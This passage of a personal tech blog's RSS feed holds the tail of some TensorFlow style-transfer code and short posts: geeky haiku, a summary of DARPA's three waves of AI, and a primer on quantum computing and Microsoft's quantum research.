&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;_conv_layer&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;, weights, bias): conv &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tf&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;conv2d(&lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;, tf&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;constant(weights), strides&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;), padding&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;SAME&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; tf&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;bias_add(conv, bias)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;_pool_layer&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;): &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; tf&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;max_pool(&lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;, ksize&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;), strides&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;), padding&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;SAME&amp;#39;&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If you want to play with this, you can download the &lt;a
	
		href = &#34;https://github.com/Microsoft/samples-for-ai/tree/master/projects/StyleTransfer&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		code
	&lt;/span&gt;
&lt;/a&gt;. Personally, I like the Mosaic style the best.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Artificial Intelligence (AI)</title>
      <link>/post/2018/03/artificial-intelligence-ai/</link>
      <pubDate>Thu, 01 Mar 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/03/artificial-intelligence-ai/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Yesterday it worked Today it is not working #AI is like that&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;#Haiku #GeekyHaiku #GeekyJokes&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Error messages</title>
      <link>/post/2017/11/error-messages/</link>
      <pubDate>Mon, 27 Nov 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/11/error-messages/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Rather than a beep Or a rude error message, These words: “File not found.”&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;#Haiku #GeekyHaiku #GeekyJokes&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>DARPA&#39;s perspective on AI</title>
      <link>/post/2017/10/darpas-perspective-on-ai/</link>
      <pubDate>Wed, 11 Oct 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/10/darpas-perspective-on-ai/</guid>
      <description>&lt;p&gt;One of the challenges we have with AI is that there isn&amp;rsquo;t any &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2017/05/25/whats-the-difference-between-ai-ml-and-deeplearning/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		universal definition
	&lt;/span&gt;
&lt;/a&gt; - it is a broad category that means everything to everyone. Debating the rights, and, the wrongs, and the should&amp;rsquo;s and the shouldn&amp;rsquo;t s is another post though.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;https://www.darpa.mil/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DARPA
	&lt;/span&gt;
&lt;/a&gt; outlines this as the &amp;ldquo;&lt;strong&gt;&lt;em&gt;programmed&lt;/em&gt;&lt;/strong&gt; ability to process information&amp;rdquo; and across a certain set of criteria that span across perceiving, learning, abstracting, and, reasoning.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-Scale-Intelligence-1024x315.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;AI Scale Intelligence&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;They classify AI in three waves - out outlined below. Each of these is at a different level across the intelligence scale. I believe it is important to have a scale such as this - it will help temper expectations and compare apples to apples; and for enterprises it will help create roadmaps on outcomes and their implementations; and finally help cut through the hype cycle noise that AI has generated.&lt;/p&gt;
&lt;h4 id=&#34;wave-1---handcrafted-knowledge&#34;&gt;Wave 1 - Handcrafted Knowledge&lt;/h4&gt;
&lt;p&gt;The first wave operates on a very narrow problem area (the domain) and essentially has no (self)learning capability. The key area to understand that the machine can explore &lt;strong&gt;specifics&lt;/strong&gt;, based on the knowledge and related &lt;strong&gt;taxonomy/ structure&lt;/strong&gt; which is defined by humans. We create a set of rules to represent the knowledge in a well-defined domain.&lt;/p&gt;
&lt;p&gt;Of course as the Autonomous grand challenge taught us - it cannot handle uncertainty.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-First-wave-stumbles-1024x409.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;AI First wave stumbles&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;wave-2---statistical-learning&#34;&gt;Wave 2 - Statistical Learning&lt;/h3&gt;
&lt;p&gt;The second wave, has better classification and prediction capabilities - a lot of which is via statistical learning. Essentially problems in certain domains are solved by statistical models - which are training on big data. It still doesn&amp;rsquo;t have contextual ability and has minimal reasoning ability.&lt;/p&gt;
&lt;p&gt;A lot of what we are seeing today is related to this second wave; and one of the hypothesis holding this up is called &lt;strong&gt;manifold hypothesis&lt;/strong&gt;. This essentially states that high dimension data (e.g. images, speech, etc.) tends to be in the vicinity of low dimension manifolds.&lt;/p&gt;
&lt;p&gt;A manifold is an abstract mathematical space which, in a close-up view, resembles the spaces described by Euclidean geometry. Think of it as a set of points satisfying certain relationships, expressible in terms of distance and angle. Each manifold represents a different entity and the understanding of the data comes by separating the manifolds.&lt;/p&gt;
&lt;p&gt;Using handwriting digits as an example - each image is one element in a set which has 784 dimensions, which form a number of different manifolds.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-Handwritten-digits-1024x429.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Handwritten digits&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-Manifolds-of-handwriting-1024x450.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Manifolds of handwriting&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Separating each of these manifolds (by stretching and squishing of data) to get them isolated is what makes the layers in a Neural net work. Each layer in the neural network computes its output from the preceding layer of inputs (implemented usually by a non-linear function) - learning from the data.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-Neural-Net-1024x417.jpg&#34; alt=&#34;AI Neural Nets&#34;/&gt;
        &lt;figcaption&gt;AI Neural Nets&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-Neural-Net2-1024x379.jpg&#34; alt=&#34;AI Neural Nets learning from data&#34;/&gt;
        &lt;figcaption&gt;AI Neural Nets learning from data&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;So, in statistical learning, one would design and program the network structure based on experience. Here is an example of how the number 2 to be recognized goes through the various feature maps.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-Structural-neural-networkJPG-1024x303.jpg&#34; alt=&#34;AI Structural neural network&#34;/&gt;
        &lt;figcaption&gt;AI Structural neural network&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And one can combine and layer the &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2017/03/16/neural-networks/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		various kinds of neural networks
	&lt;/span&gt;
&lt;/a&gt; together (e.g. a CNN + RNN).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-Layering-neural-networks-1024x506.jpg&#34; alt=&#34;AI Layering neural networks&#34;/&gt;
        &lt;figcaption&gt;Layering neural networks&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And whilst it is statistically impressive, it is also individually unreliable.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-failture-1-300x122.jpg&#34; alt=&#34;AI failure&#34;/&gt;
        &lt;figcaption&gt;AI failure&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-failture-2-294x300.jpg&#34; alt=&#34;AI Failure&#34;/&gt;
        &lt;figcaption&gt;AI failure&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;wave-3---contextual-adaptation&#34;&gt;Wave 3 - Contextual Adaptation&lt;/h3&gt;
&lt;p&gt;The future on AI, is what DARPA is calling Contextual adaptation - where models explain their decisions, which is then used to drive further decisions. Essentially one ends up in this world where we construct contextual explanatory models that are reflective of real world situations.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-Models-to-explain-decisions-1024x416.jpg&#34; alt=&#34;AI Models to explain decisions&#34;/&gt;
        &lt;figcaption&gt;AI Models to explain decisions&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-Models-to-drive-decisions-1024x465.jpg&#34; alt=&#34;AI Models to drive decisions&#34;/&gt;
        &lt;figcaption&gt;AI Models to drive decisions&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;In summary, we are in the midst of Wave 2 - which is already very exciting. For an enterprise, it is key to have a scale that outlines the ability to process information across the intelligence scale to help make this AI revolution more tangible and manageable.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/First-Wave-of-AI-Handcraft-KnowledgeJPG-300x129.jpg&#34; alt=&#34;First Wave of AI - Handcraft Knowledge&#34;/&gt;
        &lt;figcaption&gt;First Wave of AI - Handcraft Knowledge&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
First Wave of AI - Handcraft Knowledge&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Second-Wave-of-AI-Statistical-Learning-300x132.jpg&#34; alt=&#34;Second Wave of AI - Statistical Learning&#34;/&gt;
        &lt;figcaption&gt;Second Wave of AI - Statistical Learning&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
Second Wave of AI - Statistical Learning&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Third-Wave-of-AI-Contextual-adaption-300x135.jpg&#34; alt=&#34;Third Wave of AI - Contextual adaption&#34;/&gt;
        &lt;figcaption&gt;Third Wave of AI - Contextual adaption&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
Third Wave of AI - Contextual adaptions&lt;/p&gt;
&lt;p&gt;PS - if you want to read up more on manifold hypothesis and how they play in neural networks, I would suggest reading Chris&amp;rsquo;s &lt;a
	
		href = &#34;http://colah.github.io/posts/2014-03-NN-Manifolds-Topology/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		blog post
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Cognitive Bias</title>
      <link>/post/2017/09/cognitive-bias/</link>
      <pubDate>Thu, 28 Sep 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/09/cognitive-bias/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/cognitive-bias-1024x768.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Cognitive Bias&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>So choked up</title>
      <link>/post/2017/09/so-choked-up/</link>
      <pubDate>Wed, 06 Sep 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/09/so-choked-up/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://i1.wp.com/www.fowllanguagecomics.com/wp-content/uploads/2017/08/First-day-of-school-1.jpg?fit=800%2C999&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CosmosDB - Vintage Edition</title>
      <link>/post/2017/09/cosmosdb-vintage-edition/</link>
      <pubDate>Fri, 01 Sep 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/09/cosmosdb-vintage-edition/</guid>
      <description>&lt;p&gt;When seeing this #CosmosDB is the first thing that comes to mind :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/CosmosDB.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Quantum Computing - Beyond bits - a primer</title>
      <link>/post/2017/08/quantum-computing-beyond-bits-a-primer/</link>
      <pubDate>Thu, 17 Aug 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/08/quantum-computing-beyond-bits-a-primer/</guid>
      <description>&lt;h3 id=&#34;what-is-it&#34;&gt;What is it?&lt;/h3&gt;
&lt;p&gt;What’s the next big thing in computing? Not the #AI or #blockchain&amp;rsquo;s of the world, that is starting to happen today (albeit a little early)? Quantum computing is one of those next big things, that is on the horizon (probably in the ~5 years range).&lt;/p&gt;
&lt;h3 id=&#34;why-do-i-care&#34;&gt;Why do I care?&lt;/h3&gt;
&lt;p&gt;Why do I care about quantum? Well, some problems are simply not solvable on convention digital computers – the kind we have today – these are called “classical” machines. Even if Moore’s law did continue (and that is a whole different debate), are the still some problems whose scaling obey a different set of properties and law; and the double of transistors on a chip wont really help. In fact, some of these problems require longer than the &lt;em&gt;lifetime of the universe&lt;/em&gt; – and that is with the biggest, and fastest supercomputers available!&lt;/p&gt;
&lt;p&gt;Quantum computing, is a paradigm shift in computing – it is moving beyond silicon and bits.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“If you think you understand quantum physics, you don’t understand quantum physics!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;-&lt;em&gt;&lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Richard_Feynman&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Richard Feynman
	&lt;/span&gt;
&lt;/a&gt;”&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3 id=&#34;what-are-quantum-computers&#34;&gt;What are Quantum computers?&lt;/h3&gt;
&lt;p&gt;Quantum machines are different – they are machines based on properties of quantum mechanics compared to classical mechanics (i.e. machines we use today). The few characteristics that make quantum computers different are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Today’s computers, use transistors to manipulate bits as either 0 or 1; quantum computer encode information as qubits (quantum bits) and are not limited to bits in two states.&lt;/li&gt;
&lt;li&gt;Qubits are &lt;em&gt;&lt;strong&gt;superimposed&lt;/strong&gt;&lt;/em&gt; – can be both in a state of 0, or 1, &lt;strong&gt;&lt;em&gt;simultaneously&lt;/em&gt;&lt;/strong&gt;; furthermore they are also in all points in between 0 and 1 at the same time. This makes them inherently parallel at an exponential scale&lt;/li&gt;
&lt;li&gt;They are notoriously delicate! These need to cooled (-459F, which is 100 times colder than deep space) and the noise isolated to preserve the system&amp;rsquo;s integrity. This level of cooling and sensitivity, requires new and different (quantum) error correction techniques than what we are used to.&lt;/li&gt;
&lt;li&gt;There is a “No-cloning mechanism” i.e. one cannot copy the data/result to inspect it. &lt;strong&gt;&lt;em&gt;Entanglement&lt;/em&gt;&lt;/strong&gt; helps observe the result of a calculation whilst preserving the integrity.&lt;/li&gt;
&lt;li&gt;Hybrid machines – we need a classical machine to control a quantum machine – to program, hint/nudge in the right direction (remember they are sensitive and need different error correction), and, observe the collapsed state.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To put it in perspective, an entangled system of 250 quibits would require ~1080 bits to store classically. And that is more atoms that exist in the universe! And as implied, a quantum machine would only need 250 quibits to store those. A few more comparisons that might help:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A terabyte needs: ~1012 bits&lt;/li&gt;
&lt;li&gt;A Petabyte needs: ~1015 bits&lt;/li&gt;
&lt;li&gt;A Exascale (possible in a few years) will needs: ~1018 bits&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;application-areas&#34;&gt;Application Areas&lt;/h3&gt;
&lt;p&gt;In the early days, most problem areas will be optimization problems – things that are very difficult, or not possible to do with classical computers today. Some vertical scenarios that one can think of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Privacy and Security&lt;/strong&gt; – Example: Quantum encryption would need to be supersede current encryption techniques that underpin modern commerce&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Energy&lt;/strong&gt; – Example: room temperature super conductivity (help address maglev transportation, lossless grid, etc.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Environment&lt;/strong&gt; – Example: Carbon capture and not just at source (e.g. power plants), but throughout the environment&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Healthcare&lt;/strong&gt; – Example: Personalized medicine and treatment matching the individual biome and genetic makeup&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Machine Learning&lt;/strong&gt; – Example: New probability distributions, and new inferences which allows to ask a new question that isn’t possible today. Also exponential speed ups with better solutions and models – new (e.g. nearest neighbor classification)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud Computing&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However, as if today, we don’t know what are the best questions to ask a quantum machine to answer – at least not yet. &lt;p&gt;

    &lt;img src=&#34;images/wlEmoticon-smile-1.png&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;making-it-real--some-examples&#34;&gt;Making it Real – Some examples&lt;/h3&gt;
&lt;h4 id=&#34;example-1--encryption&#34;&gt;Example 1 – Encryption&lt;/h4&gt;
&lt;p&gt;I guess the pet example that everyone talks about is using encryption and the RSA 2K challenge – where in if you have a large number, such as the one shown below which is used as a key for encryption; when trying to find out the two large prime numbers that can provide the key – on a classical machine this will take &lt;strong&gt;1 billion years&lt;/strong&gt;; and on a quantum machine approx. &lt;strong&gt;100 seconds&lt;/strong&gt;. Needless to say that will have a significant impact on digital commerce and encryption and security in general.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-2.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h4 id=&#34;example-2-simulating-physical-systems&#34;&gt;Example 2: Simulating physical systems&lt;/h4&gt;
&lt;p&gt;&lt;a
	
		href = &#34;https://www.bing.com/search?q=ferredoxin&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Ferredoxin
	&lt;/span&gt;
&lt;/a&gt; (Fe2S2) is a compound that is used in many metabolic reactions including energy transport in photosynthesis. When currently being used, one wastes a lot of resources as part of the process and one thing that would help is finding ground state of ferredoxin. However using this with a classical algorithm, that is an impossible task and is intractable. But with a quantum algorithm, this would be approx an hour (in 2015).&lt;/p&gt;
&lt;p&gt;Another, similar example is the calculation of the reaction time of nitrogenase; this one can read in a little more detail as part of – &lt;a
	
		href = &#34;https://phys.org/news/2017-07-clarifiying-complex-chemical-quantum.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		clarifying complex chemical
	&lt;/span&gt;
&lt;/a&gt; processes with quantum computers](&lt;a
	
		href = &#34;https://phys.org/news/2017-07-clarifiying-complex-chemical-quantum.html%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://phys.org/news/2017-07-clarifiying-complex-chemical-quantum.html)
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clarifiyingc.png&#34; alt=&#34;Clarifiying complex chemical processes with quantum computers&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;entanglement--what-is-it&#34;&gt;Entanglement – what is it?&lt;/h3&gt;
&lt;p&gt;It is a fundamental property of quantum mechanics. It is a physical phenomenon where two particles interact with each other in ways that the state of one particle &lt;strong&gt;cannot be described independently&lt;/strong&gt; of the other. The paradox here is that measuring either of the particles, collapses the state of the entire (entangled) system. One cannot directly observe the result of a quantum computer – if you try to look at the subatomic particles, you bump them, and thereby change their value. If you look at a qubit in superposition to determine its value, the qubit will assume the value of either 0 or 1, but not both (effectively turning our quantum computer into a mundane digital computer).&lt;/p&gt;
&lt;p&gt;One aspect though is that the two particles aren&amp;rsquo;t necessarily next to each other, they can be miles apart, but still connected. This is what some call as the “&lt;a
	
		href = &#34;https://www.livescience.com/52811-spooky-action-is-real.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		spooky action
	&lt;/span&gt;
&lt;/a&gt;” that in the past have upset few scientists, including Einstein. The way to observe the result is to preserve the system&amp;rsquo;s integrity and indirectly measure the result – using Entanglement. Apply an outside force to two atoms, it can cause them to become entangled, and the second atom can take on the properties of the first atom. So if left alone, an atom will spin in all directions. The instant it is disturbed it chooses one spin, (i.e. one value); and at the same time, the second entangled atom will choose an opposite spin, or value. This allows scientists to know the value of the qubits without actually looking at them.&lt;/p&gt;
&lt;h3 id=&#34;quantum-superposition--what-is-it&#34;&gt;Quantum Superposition – what is it?&lt;/h3&gt;
&lt;p&gt;It is another fundamental property of quantum mechanics where the state can be multidimensional, at the same time. Superposition is what makes a quantum machine inheritably parallel. A normal Turing machine can only perform one calculation at a time, a quantum Turing machine can perform many calculations at once – given the symbols are both 0 and 1 (and all points in between) at the same time. Similar to waves (say in a pond), any two (or more) quantum states can be added together (&amp;ldquo;superposed&amp;rdquo;) and the result will be another valid quantum state. And, that every quantum state can be represented as a sum of two or more other distinct states.&lt;/p&gt;
&lt;h3 id=&#34;microsofts-position&#34;&gt;Microsoft’s Position&lt;/h3&gt;
&lt;p&gt;I also wanted to outline a more Microsoft specific view on Quantum computing and what is their perspective. Microsoft Research (MSR) has been doing research since late 90&amp;rsquo;s in Quantum, and their approach is topological quantum computation (&lt;a
	
		href = &#34;https://www.nytimes.com/2016/11/21/technology/microsoft-spends-big-to-build-quantum-computer.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		different
	&lt;/span&gt;
&lt;/a&gt; than the competition). They have a dedicated lab called &lt;a
	
		href = &#34;https://news.microsoft.com/stories/stationq/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Station Q
	&lt;/span&gt;
&lt;/a&gt; and also Quantum Software Architecture – Liquid (&lt;a
	
		href = &#34;https://www.microsoft.com/en-us/research/project/language-integrated-quantum-operations-liqui/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		LIQUi|&amp;gt;
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://desigeek.com/blog/amit/wp-content/uploads/2017/08/image-1.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-1.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;image&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The photo below shows MSR’s primary research collaborators on quantum.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://desigeek.com/blog/amit/wp-content/uploads/2017/08/image-3.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-3.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;image&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The above image, essentially is a large fridge cooling the quantum chip (below) to –459oF. And the various layers (discs) that one sees in the image below is how it the cooled down in the process. The quantum chip is at the very bottom (not visible in the photo).&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://desigeek.com/blog/amit/wp-content/uploads/2017/08/image-4.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-4.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;image&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;LIQUi|&amp;gt; is quite interesting; it is a domain specific language (DSL using F#) and also has the tools required (compiler used for Quantum circuits and gates), and relevant optimization of those gates and circuits. It includes a simulator for Quantum circuit (up to 31 qubit) and you can download it from &lt;a
	
		href = &#34;http://stationq.github.io/Liquid/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GitHub
	&lt;/span&gt;
